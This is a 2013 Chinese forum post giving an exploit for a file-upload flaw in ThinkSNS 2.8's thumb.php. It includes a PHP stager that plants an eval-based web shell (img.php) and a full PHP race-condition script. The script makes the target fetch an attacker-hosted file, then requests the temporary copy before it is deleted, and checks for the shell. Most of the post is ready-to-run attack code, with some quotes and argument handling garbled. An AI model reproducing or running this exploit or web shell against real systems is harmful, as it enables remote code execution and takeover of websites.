admin 发表于 2013-2-4 16:12:23

Thinksns2.8文件上传漏洞利用exp

漏洞版本
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
漏洞文件
存在漏洞的文件为:thumb.php
作者:韦鲲鹏
1、      准备如下PHP文件并上传到服务器(自己的)。
文件内容如下:
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
2、      计算出临时的文件名:
这里我们可以看文件的99行(刚刚是不是没注意呀!)。

3、      上传临时文件。
4、      访问临时文件。
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
Exploit文件内容如下:(这个我就不详细解释了)
<?php
error_reporting(0);
set_time_limit(0);
ini_set(“default_socket_timeout”, 5);
function http_send($host, $port, $headers) {
$fp = fsockopen($host, $port);
if (!$fp) die(‘Connection -> fail’);
fputs($fp, $headers);
return $fp;
}
function http_recv($fp) {
$ret=”";
while (!feof($fp))
$ret.= fgets($fp, 1024);
fclose($fp);
return $ret;
}
print “\n#ThinkSns Arbitrary File Upload   #\n”;
print “# Discovered by 韦鲲鹏 #\n\n”;
if ($argc < 4) {
print “Usage:   php <host> <path> <romote_url>\n”;
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
die();
}
$host = $argv;
$path = $argv;
$url = $argv;
$i=0;
//上传数据包
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
$headers_up .= “Host: “.$host.”\r\n”;
$headers_up .= “Connection: close\r\n\r\n”;
echo $headers_up;
//临时文件访问数据包
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
$headers .= “Host: “.$host.”\r\n”;
$headers .= “Connection: close\r\n\r\n”;
echo $headers;
while(++$i<10) {
fclose(http_send($host, 80, $headers));
}
fclose(http_send($host, 80, $headers_up));
while(++$i<50) {
fclose(http_send($host, 80, $headers));
}
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
$headers .= “Host: “.$host.”\r\n”;
$headers .= “Connection: close\r\n\r\n”;
$res=http_recv(http_send($host, 80, $headers));
if(preg_match(‘/200 OK/’,$res)) {
print “Success!\n\n”;
} else {
print “Fail!\n\n”;
}
?>
页: [1]
查看完整版本: Thinksns2.8文件上传漏洞利用exp